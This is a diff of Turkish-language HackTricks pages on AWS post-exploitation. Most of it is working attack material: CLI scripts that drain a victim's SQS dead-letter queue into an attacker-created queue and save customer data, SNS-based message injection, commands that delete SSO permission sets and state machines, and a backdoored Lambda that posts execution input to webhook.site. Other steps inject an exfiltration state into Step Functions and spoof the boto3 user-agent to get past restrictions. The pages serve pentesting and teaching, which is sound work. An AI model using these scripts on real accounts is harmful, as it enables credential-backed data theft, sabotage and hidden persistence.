`StartMessageMoveTask` kullanarak TÜM mesajları kendi kuyruğuna toplu aktarır +7. **Saldırgan tek bir operasyonla** geçmişe dönük tüm hassas verileri çıkarır + +## Gereksinimler +- Kaynak kuyruk en az bir kuyruğun RedrivePolicy'si tarafından referans verilen bir DLQ olarak yapılandırılmış olmalıdır. +- IAM izinleri (ele geçirilmiş mağdur kimliği olarak çalıştırılır): + - DLQ üzerinde (kaynak): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. + - Hedef kuyruk üzerinde: mesaj teslimi izni (örn. mağdur kimliği için `sqs:SendMessage` izni veren kuyruk politikası). Aynı hesap içindeki hedefler için bu genellikle varsayılan olarak izinlidir. +- Eğer SSE-KMS etkinse: kaynak CMK üzerinde `kms:Decrypt`, hedef CMK üzerinde `kms:GenerateDataKey`, `kms:Encrypt`. + +## Etki +**Olası Etki**: DLQ'lerde birikmiş hassas yükleri (başarısız olaylar, PII, tokenlar, uygulama yükleri) yerel SQS API'leri kullanarak yüksek hızda sızdırma. Hedef kuyruk politikası mağdur kimliğinden `SendMessage` izin veriyorsa hesaplar arası da çalışır. + +## Nasıl Kötüye Kullanılır + +- Mağdur DLQ ARN'sini tespit edin ve gerçekten bir DLQ olarak en az bir kuyruk tarafından referans verildiğinden emin olun (herhangi bir kuyruk yeterlidir). +- Saldırgan kontrollü bir hedef kuyruk oluşturun veya seçin ve onun ARN'sini alın. +- Mağdur DLQ'den hedef kuyruğunuza bir message move task başlatın. +- Gerekirse ilerlemeyi izleyin veya iptal edin. + +### CLI Örneği: E-ticaret DLQ'sinden Müşteri Verilerini Sızdırma + +**Senaryo**: Bir saldırgan AWS kimlik bilgilerini ele geçirmiş ve bir e-ticaret uygulamasının SQS ile bir DLQ kullandığını, DLQ'nin başarısız müşteri sipariş işlemleri içerdiğini keşfetmiştir. + +1) **Mağdur DLQ'sini keşfet ve incele** +```bash +# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) +aws sqs list-queues --queue-name-prefix dlq + +# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq +VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" +SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# Check how many messages are in the DLQ (potential treasure trove!) +aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ +--attribute-names ApproximateNumberOfMessages +# Output might show: "ApproximateNumberOfMessages": "1847" +``` +2) **Saldırgan kontrollü hedef kuyruğu oluşturun** +```bash +# Create our exfiltration queue +ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) +ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +echo "Created exfiltration queue: $ATTACKER_Q_ARN" +``` +3) **Toplu mesaj hırsızlığını gerçekleştir** +```bash +# Start moving ALL messages from victim DLQ to our queue +# This operation will transfer thousands of failed orders containing customer data +echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" +TASK_RESPONSE=$(aws sqs start-message-move-task \ +--source-arn "$SRC_ARN" \ +--destination-arn "$ATTACKER_Q_ARN" \ +--max-number-of-messages-per-second 100) + +echo "Move task started: $TASK_RESPONSE" + +# Monitor the theft progress +aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 +``` +4) **Çalınan hassas verileri topla** +```bash +# Receive the exfiltrated customer data +echo "Receiving stolen customer data..." +aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--attribute-names All --message-attribute-names All \ +--max-number-of-messages 10 --wait-time-seconds 5 + +# Example of what an attacker might see: +# { +# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", +# "MessageId": "12345-abcd-6789-efgh" +# } + +# Continue receiving all messages in batches +while true; do +MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--max-number-of-messages 10 --wait-time-seconds 2 --output json) + +if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then +echo "No more messages - exfiltration complete!" +break +fi + +echo "Received batch of stolen data..." +# Process/save the stolen customer data +echo "$MESSAGES" >> stolen_customer_data.json +done +``` +### Hesaplar arası notlar +- Hedef kuyruğun, kurban principal'in `sqs:SendMessage` yapmasına izin veren bir kaynak policy'si olmalıdır (ve kullanılıyorsa KMS grants/permissions). + +## Neden Bu Saldırı Etkili + +1. **Meşru AWS Özelliği**: Yerleşik AWS işlevselliğini kullanır, bu yüzden kötü amaçlı olarak tespit edilmesi zor +2. **Toplu İşlem**: Yavaş tek tek erişim yerine binlerce mesajı hızlıca aktarır +3. **Tarihsel Veri**: DLQ'lar haftalar/aylar içinde hassas veriler biriktirir +4. **Fark Edilmeden**: Birçok kuruluş DLQ erişimini yakından izlemez +5. **Hesaplar Arası Yeteneği**: İzinler varsa saldırganın kendi AWS hesabına exfiltrate yapabilir + +## Tespit ve Önleme + +### Tespit +Şüpheli `StartMessageMoveTask` API çağrılarını CloudTrail'de izleyin: +```json +{ +"eventName": "StartMessageMoveTask", +"sourceIPAddress": "suspicious-ip", +"userIdentity": { +"type": "IAMUser", +"userName": "compromised-user" +}, +"requestParameters": { +"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", +"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" +} +} +``` +### Önlemler +1. **En Az Ayrıcalık**: `sqs:StartMessageMoveTask` izinlerini yalnızca gerekli rollere kısıtlayın +2. **DLQ'leri İzleyin**: Olağandışı DLQ etkinliği için CloudWatch alarmları kurun +3. **Hesaplar Arası Politikalar**: Hesaplar arası erişime izin veren SQS kuyruk politikalarını dikkatle inceleyin +4. **DLQ'leri Şifreleyin**: Kısıtlı anahtar politikalarıyla SSE-KMS kullanın +5. **Düzenli Temizlik**: Hassas verilerin DLQ'lerde süresiz birikmesine izin vermeyin + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md new file mode 100644 index 000000000..26b5e3bab --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md @@ -0,0 +1,54 @@ +# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy + +{{#include ../../../../banners/hacktricks-training.md}} + +## Açıklama + +Saldırgan kontrolündeki bir SNS topic'in kurban SQS kuyruğuna mesaj yayımlamasına izin vermek için SQS queue resource policy kötüye kullanılır. Aynı hesapta, bir SNS topic'e yapılan SQS subscription otomatik olarak onaylanır; hesaplar arası durumda ise kuyruktan SubscriptionConfirmation token'ını okuyup ConfirmSubscription çağrısı yapmanız gerekir. Bu, aşağı akıştaki tüketicilerin istemedikleri mesaj enjeksiyonunu ve bu mesajlara varsayılan olarak güvenmelerini mümkün kılar. + +### Gereksinimler +- Hedef SQS queue resource policy'yi değiştirme yeteneği: kurban kuyruk üzerinde `sqs:SetQueueAttributes`. +- Saldırgan kontrolündeki bir SNS topic oluşturma/yayınlama yeteneği: saldırgan hesabı/topic üzerinde `sns:CreateTopic`, `sns:Publish`, ve `sns:Subscribe`. +- Hesaplar arası (cross-account) yalnızca: doğrulama token'ını okumak ve `sns:ConfirmSubscription` çağrısı yapmak için kurban kuyruk üzerinde geçici `sqs:ReceiveMessage`. + +### Aynı hesapta istismar +```bash +REGION=us-east-1 +# 1) Create victim queue and capture URL/ARN +Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Create attacker SNS topic +TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text) + +# 3) Allow that SNS topic to publish to the queue (queue resource policy) +cat > /tmp/ht-sqs-sns-policy.json < /tmp/ht-attrs.json <sqs} --region $REGION +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All +``` +### Hesaplar arası notlar +- Yukarıdaki kuyruk politikası yabancı `TOPIC_ARN` (saldırgan hesabı) için izin vermelidir. +- Abonelikler otomatik onaylanmaz. Kurban kuyruğunda kendinize geçici `sqs:ReceiveMessage` izni verin, `SubscriptionConfirmation` mesajını okuyun ve ardından `Token` ile `sns confirm-subscription` çağrısı yapın. + +### Etki +**Potansiyel Etki**: SNS aracılığıyla güvenilen bir SQS kuyruğuna sürekli istenmeyen mesaj enjeksiyonu; bu, istenmeyen işlemlere, veri kirliliğine veya iş akışı suistimaline yol açabilir. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md similarity index 75% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md index 55fe48134..0e2c5ca80 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - SSO & identitystore Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## SSO & identitystore -Daha fazla bilgi için kontrol edin: +Daha fazla bilgi için bakınız: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -Bu izinler, izinleri bozmak için kullanılabilir: +Bu izinler yetkileri bozmak için kullanılabilir: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md deleted file mode 100644 index b3f2e474c..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ /dev/null @@ -1,185 +0,0 @@ -# AWS - Step Functions Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -Bu AWS hizmeti hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### `states:RevealSecrets` - -Bu izin, **bir yürütme içindeki gizli verileri açığa çıkarmaya** olanak tanır. Bunun için, Denetim seviyesinin TRACE olarak ayarlanması ve revealSecrets parametresinin true olarak belirlenmesi gerekir. - -
- -### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` - -Bu izinlere sahip bir saldırgan, durum makinelerini, bunların sürümlerini ve takma adlarını kalıcı olarak silebilir. Bu, kritik iş akışlarını kesintiye uğratabilir, veri kaybına yol açabilir ve etkilenen durum makinelerini geri yüklemek için önemli zaman gerektirebilir. Ayrıca, bir saldırgana izlerini örtme, adli soruşturmaları kesintiye uğratma ve temel otomasyon süreçlerini ve durum yapılandırmalarını kaldırarak operasyonları potansiyel olarak felç etme imkanı tanır. - -> [!NOTE] -> -> - Bir durum makinesi sildiğinizde, ona bağlı tüm sürümleri ve takma adları da silersiniz. -> - Bir durum makinesi takma adını sildiğinizde, bu takma adı referans alan durum makinesi sürümlerini silmezsiniz. -> - Şu anda bir veya daha fazla takma ad tarafından referans alınan bir durum makinesi sürümünü silmek mümkün değildir. -```bash -# Delete state machine -aws stepfunctions delete-state-machine --state-machine-arn -# Delete state machine version -aws stepfunctions delete-state-machine-version --state-machine-version-arn -# Delete state machine alias -aws stepfunctions delete-state-machine-alias --state-machine-alias-arn -``` -- **Potansiyel Etki**: Kritik iş akışlarının kesintiye uğraması, veri kaybı ve operasyonel duraksama. - -### `states:UpdateMapRun` - -Bu izne sahip bir saldırgan, Harita Çalışması hata yapılandırmasını ve paralel ayarını manipüle edebilir, izin verilen maksimum çocuk iş akışı yürütme sayısını artırabilir veya azaltabilir, bu da hizmetin performansını doğrudan etkiler. Ayrıca, bir saldırgan, toleranslı hata yüzdesi ve sayısıyla oynayabilir, bu değeri 0'a düşürerek her seferinde bir öğe başarısız olduğunda tüm harita çalışmasının başarısız olmasına neden olabilir, bu da durum makinesi yürütmesini doğrudan etkileyerek kritik iş akışlarını kesintiye uğratabilir. -```bash -aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] -``` -- **Olası Etki**: Performans düşüşü ve kritik iş akışlarının kesintiye uğraması. - -### `states:StopExecution` - -Bu izne sahip bir saldırgan, herhangi bir durum makinesinin yürütülmesini durdurabilir, devam eden iş akışlarını ve süreçleri kesintiye uğratabilir. Bu, tamamlanmamış işlemlere, durdurulmuş iş operasyonlarına ve potansiyel veri bozulmasına yol açabilir. - -> [!WARNING] -> Bu eylem **express durum makineleri** tarafından desteklenmemektedir. -```bash -aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] -``` -- **Potansiyel Etki**: Devam eden iş akışlarının kesintiye uğraması, operasyonel duraklama ve potansiyel veri bozulması. - -### `states:TagResource`, `states:UntagResource` - -Bir saldırgan, Step Functions kaynaklarından etiketler ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir. -```bash -aws stepfunctions tag-resource --resource-arn --tags Key=,Value= -aws stepfunctions untag-resource --resource-arn --tag-keys -``` -**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması. - ---- - -### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` - -Aşağıdaki izinlere sahip bir kullanıcı veya rolü ele geçiren bir saldırgan: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "AllowUpdateStateMachine", -"Effect": "Allow", -"Action": "states:UpdateStateMachine", -"Resource": "*" -}, -{ -"Sid": "AllowUpdateFunctionCode", -"Effect": "Allow", -"Action": "lambda:UpdateFunctionCode", -"Resource": "*" -} -] -} -``` -...bir **yüksek etkili ve gizli bir post-exploitation saldırısı** gerçekleştirebilir, Lambda arka kapısını Step Function mantığı manipülasyonu ile birleştirerek. - -Bu senaryo, kurbanın **duyarlı girdi işleyen AWS Step Functions kullanmasını** varsayıyor, örneğin kimlik bilgileri, tokenlar veya PII. - -Örnek kurban çağrısı: -```bash -aws stepfunctions start-execution \ ---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ ---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim -``` -Eğer Step Function, `LegitBusinessLogic` gibi bir Lambda'yı çağıracak şekilde yapılandırılmışsa, saldırgan **iki gizli saldırı varyantı** ile devam edebilir: - ---- - -#### Lambda fonksiyonunu güncelledi - -Saldırgan, Step Function tarafından zaten kullanılan Lambda fonksiyonunun (`LegitBusinessLogic`) kodunu, giriş verilerini sessizce dışarı aktarmak için değiştirir. -```python -# send_to_attacker.py -import requests - -def lambda_handler(event, context): -requests.post("https://webhook.site//exfil", json=event) -return {"status": "exfiltrated"} -``` - -```bash -zip function.zip send_to_attacker.py - -aws lambda update-function-code \ ---function-name LegitBusinessLogic \ ---zip-file fileb://function.zip -profile attacker -``` ---- - -#### Step Function'a Kötü Amaçlı Bir Durum Ekleyin - -Alternatif olarak, saldırgan Step Function tanımını güncelleyerek iş akışının başında bir **sızdırma durumu** enjekte edebilir. -```malicious_state_definition.json -{ -"Comment": "Backdoored for Exfiltration", -"StartAt": "OriginalState", -"States": { -"OriginalState": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", -"End": true -} -} -} - -``` - -```bash -aws stepfunctions update-state-machine \ ---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ ---definition file://malicious_state_definition.json --profile attacker -``` -Saldırgan, durumu tanımını daha gizli bir şekilde şu şekilde güncelleyebilir: -{ -"Comment": "Exfiltrasyon için Arka Kapı", -"StartAt": "ExfiltrateSecrets", -"States": { -"ExfiltrateSecrets": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", -"InputPath": "$", -"ResultPath": "$.exfil", -"Next": "OriginalState" -}, -"OriginalState": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", -"End": true -} -} -} -kurbanın farklılığı fark etmeyeceği bir şekilde. - ---- - -### Kurban Ayarı (Sömürü için Bağlam) - -- Hassas kullanıcı girdilerini işlemek için bir Step Function (`LegitStateMachine`) kullanılır. -- `LegitBusinessLogic` gibi bir veya daha fazla Lambda fonksiyonu çağrılır. - ---- - -**Olası Etki**: -- Gizli verilerin, kimlik bilgileri, API anahtarları ve PII dahil olmak üzere sessiz bir şekilde sızdırılması. -- İş akışı yürütmesinde görünür hata veya başarısızlık yok. -- Lambda kodu veya yürütme izlerini denetlemeden tespit edilmesi zor. -- Arka kapı kodda veya ASL mantığında kalırsa uzun vadeli kalıcılığı sağlar. - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md new file mode 100644 index 000000000..f5cc3306b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md @@ -0,0 +1,185 @@ +# AWS - Step Functions Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Bu AWS hizmeti hakkında daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### `states:RevealSecrets` + +Bu izin, bir yürütme içinde gizli verileri **açığa çıkarmaya** izin verir. Bunun için Inspection level'ı TRACE olarak ayarlamak ve revealSecrets parametresini true yapmak gerekir. + +
+ +### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` + +Bu izinlere sahip bir saldırgan durum makinelerini, bunların sürümlerini ve takma adlarını kalıcı olarak silebilir. Bu, kritik iş akışlarını kesintiye uğratabilir, veri kaybına yol açabilir ve etkilenen durum makinelerinin kurtarılması ve geri yüklenmesi için önemli zaman gerektirebilir. Ayrıca bir saldırganın izleri örtmesine, adli soruşturmaları aksatmasına ve temel otomasyon süreçlerini ve durum yapılandırmalarını kaldırarak operasyonları felç etmesine olanak sağlar. + +> [!NOTE] +> +> - Bir durum makinesini sildiğinizde, ona ait tüm sürümleri ve takma adları da silersiniz. +> - Bir durum makinesi takma adını sildiğinizde, bu takma adı referans eden durum makinesi sürümlerini silmezsiniz. +> - Halen bir veya daha fazla takma ad tarafından referans verilen bir durum makinesi sürümünü silmek mümkün değildir. +```bash +# Delete state machine +aws stepfunctions delete-state-machine --state-machine-arn +# Delete state machine version +aws stepfunctions delete-state-machine-version --state-machine-version-arn +# Delete state machine alias +aws stepfunctions delete-state-machine-alias --state-machine-alias-arn +``` +- **Olası Etki**: Kritik iş akışlarının aksaması, veri kaybı ve operasyonel kesinti. + +### `states:UpdateMapRun` + +Bu izne sahip bir saldırgan, Map Run hata yapılandırmasını ve paralel ayarını değiştirebilir; izin verilen maksimum alt iş akışı yürütme sayısını artırıp azaltarak servisin performansını doğrudan etkileyebilir. Ayrıca saldırgan, tolere edilen hata yüzdesi ve sayısıyla oynayarak bu değeri 0'a düşürebilir; böylece bir öğe her başarısız olduğunda tüm map run başarısız olur, bu da state machine yürütmesini doğrudan etkileyerek kritik iş akışlarını potansiyel olarak kesintiye uğratır. +```bash +aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] +``` +- **Potansiyel Etki**: Performans düşüşü ve kritik iş akışlarının kesintiye uğraması. + +### `states:StopExecution` + +Bu izne sahip bir saldırgan herhangi bir state machine'in yürütmesini durdurabilir, devam eden iş akışlarını ve süreçleri aksatabilir. Bu, tamamlanmamış işlemlere, durdurulmuş iş operasyonlarına ve potansiyel veri bozulmasına yol açabilir. + +> [!WARNING] +> > Bu işlem **express state machines** tarafından desteklenmez. +```bash +aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] +``` +- **Olası Etki**: Devam eden iş akışlarının aksaması, operasyonel kesinti ve olası veri bozulması. + +### `states:TagResource`, `states:UntagResource` + +Bir saldırgan, Step Functions kaynaklarına etiket ekleyebilir, değiştirebilir veya kaldırabilir; bu, kuruluşunuzun maliyet tahsisini, kaynak takibini ve etiketlere dayalı erişim kontrol politikalarını bozabilir. +```bash +aws stepfunctions tag-resource --resource-arn --tags Key=,Value= +aws stepfunctions untag-resource --resource-arn --tag-keys +``` +**Olası Etki**: maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrolü politikalarında aksama. + +--- + +### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` + +Aşağıdaki izinlere sahip bir kullanıcıyı veya rolü ele geçiren bir saldırgan: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowUpdateStateMachine", +"Effect": "Allow", +"Action": "states:UpdateStateMachine", +"Resource": "*" +}, +{ +"Sid": "AllowUpdateFunctionCode", +"Effect": "Allow", +"Action": "lambda:UpdateFunctionCode", +"Resource": "*" +} +] +} +``` +...bir saldırgan Lambda backdooring ile Step Function mantık manipülasyonunu birleştirerek **high-impact and stealthy post-exploitation attack** gerçekleştirebilir. + +Bu senaryo, mağdurun **AWS Step Functions ile hassas verileri işleyen iş akışlarını düzenlemek için** kullandığını varsayar; örneğin credentials, tokens veya PII. + +Örnek hedef çağrısı: +```bash +aws stepfunctions start-execution \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim +``` +Step Function `LegitBusinessLogic` gibi bir Lambda'yı çağıracak şekilde yapılandırıldıysa, saldırgan **iki gizli saldırı varyantı** ile devam edebilir: + +--- + +#### Lambda fonksiyonunu güncelleme + +Saldırgan, Step Function tarafından zaten kullanılan Lambda fonksiyonunun (`LegitBusinessLogic`) kodunu, girdi verilerini sessizce exfiltrate etmek için değiştirir. +```python +# send_to_attacker.py +import requests + +def lambda_handler(event, context): +requests.post("https://webhook.site//exfil", json=event) +return {"status": "exfiltrated"} +``` + +```bash +zip function.zip send_to_attacker.py + +aws lambda update-function-code \ +--function-name LegitBusinessLogic \ +--zip-file fileb://function.zip -profile attacker +``` +--- + +#### Step Function'a Bir Malicious State Ekle + +Alternatif olarak, saldırgan Step Function tanımını güncelleyerek iş akışının başına bir **exfiltration state** enjekte edebilir. +```malicious_state_definition.json +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "OriginalState", +"States": { +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", +"End": true +} +} +} + +``` + +```bash +aws stepfunctions update-state-machine \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--definition file://malicious_state_definition.json --profile attacker +``` +Saldırgan, durum tanımını daha gizlice şu şekilde güncelleyebilir: +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "ExfiltrateSecrets", +"States": { +"ExfiltrateSecrets": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", +"InputPath": "$", +"ResultPath": "$.exfil", +"Next": "OriginalState" +}, +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", +"End": true +} +} +} +bu sayede kurban bunu fark etmeyecektir. + +--- + +### Kurban Yapılandırması (Exploit için Bağlam) + +- A Step Function (`LegitStateMachine`) hassas kullanıcı girdilerini işlemek için kullanılır. +- Bir veya daha fazla Lambda fonksiyonunu çağırır, örn. `LegitBusinessLogic`. + +--- + +**Potansiyel Etki**: +- Hassas verilerin (secrets, credentials, API keys, PII dahil) sessiz exfiltration'u. +- İş akışı yürütülmesinde görünür hata veya başarısızlık olmaz. +- Lambda kodu veya yürütme izleri denetlenmeden tespit edilmesi zordur. +- Backdoor kodda veya ASL mantığında kaldığı sürece uzun vadeli persistence sağlar. + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md similarity index 62% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md index b9bbc42ab..818d1269b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md @@ -1,22 +1,22 @@ # AWS - STS Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS Daha fazla bilgi için: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} ### From IAM Creds to Console -Eğer bazı IAM credentials elde etmeyi başardıysanız aşağıdaki araçları kullanarak **web console'a erişmekle** ilgilenebilirsiniz.\ Not: kullanıcı/rolun **`sts:GetFederationToken`** iznine sahip olması gerekir. +Bazı IAM credentials elde ettiyseniz, aşağıdaki araçları kullanarak **web console**'a erişmek isteyebilirsiniz.\ Kullanıcı/rolün **`sts:GetFederationToken`** iznine sahip olması gerektiğini unutmayın. -#### Custom script +#### Özel script -Aşağıdaki script varsayılan profile ve varsayılan bir AWS bölgesini (not gov and not cn) kullanarak size web console'a giriş yapmak için kullanabileceğiniz imzalı bir URL verir: +Aşağıdaki script varsayılan profile ve varsayılan bir AWS bölgesini (not gov and not cn) kullanarak web console'a giriş yapmak için kullanabileceğiniz imzalanmış bir URL sağlayacaktır: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -54,7 +54,7 @@ echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.co ``` #### aws_consoler -[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler) ile **bir web konsolu bağlantısı oluşturabilirsiniz**. +[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler) ile **bir web konsol bağlantısı oluşturabilirsiniz**. ```bash cd /tmp python3 -m venv env @@ -67,7 +67,7 @@ aws_consoler [params...] #This will generate a link to login into the console #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) geliştirme ortamında AWS kimlik bilgilerini güvenli şekilde depolamak ve erişmek için kullanılan bir araçtır. +[**aws-vault**](https://github.com/99designs/aws-vault) geliştirme ortamında AWS kimlik bilgilerini güvenli bir şekilde depolamak ve erişmek için bir araçtır. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds @@ -76,9 +76,9 @@ aws-vault login jonsmith # Open a browser logged as jonsmith > [!NOTE] > Ayrıca **aws-vault** kullanarak bir **tarayıcı konsol oturumu** elde edebilirsiniz -### **Python'dan User-Agent kısıtlamalarını baypas etme** +### **Python'dan User-Agent kısıtlamalarını atlama** -Eğer kullanılan **user agent'e göre belirli eylemleri gerçekleştirme kısıtlaması** varsa (ör. user agent'a göre python boto3 kütüphanesinin kullanımını kısıtlamak) önceki tekniği kullanarak **tarayıcı aracılığıyla web konsoluna bağlanmak** mümkün olabilir, veya doğrudan **boto3 user-agent'ını** şu şekilde **değiştirebilirsiniz**: +Eğer kullanılan **User-Agent'a bağlı olarak belirli işlemleri gerçekleştirmeyi kısıtlayan** bir durum varsa (örneğin User-Agent'a göre python boto3 library kullanımını kısıtlamak gibi) önceki tekniği kullanarak **bir tarayıcı üzerinden web konsoluna bağlanmak** mümkün, veya doğrudan **boto3 user-agent**'ını değiştirerek şu şekilde yapabilirsiniz: ```bash # Shared by ex16x41 # Create a client @@ -93,12 +93,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre ``` ### **`sts:GetFederationToken`** -Bu izin ile, bunu çalıştıran kullanıcı için, kullanıcının sahip olduğu izinlerle sınırlı bir federe kimlik oluşturulabilir. +Bu izinle, bunu çalıştıran kullanıcı için, kullanıcının sahip olduğu izinlerle sınırlı olmak üzere bir federe kimlik oluşturmak mümkündür. ```bash aws sts get-federation-token --name ``` -sts:GetFederationToken tarafından döndürülen token, çağrıyı yapan kullanıcının federated identity'sine aittir, ancak sınırlı izinlere sahiptir. Kullanıcının yönetici haklarına sahip olsa bile, IAM kullanıcılarını listeleme veya policies ilişkilendirme gibi bazı işlemler federated 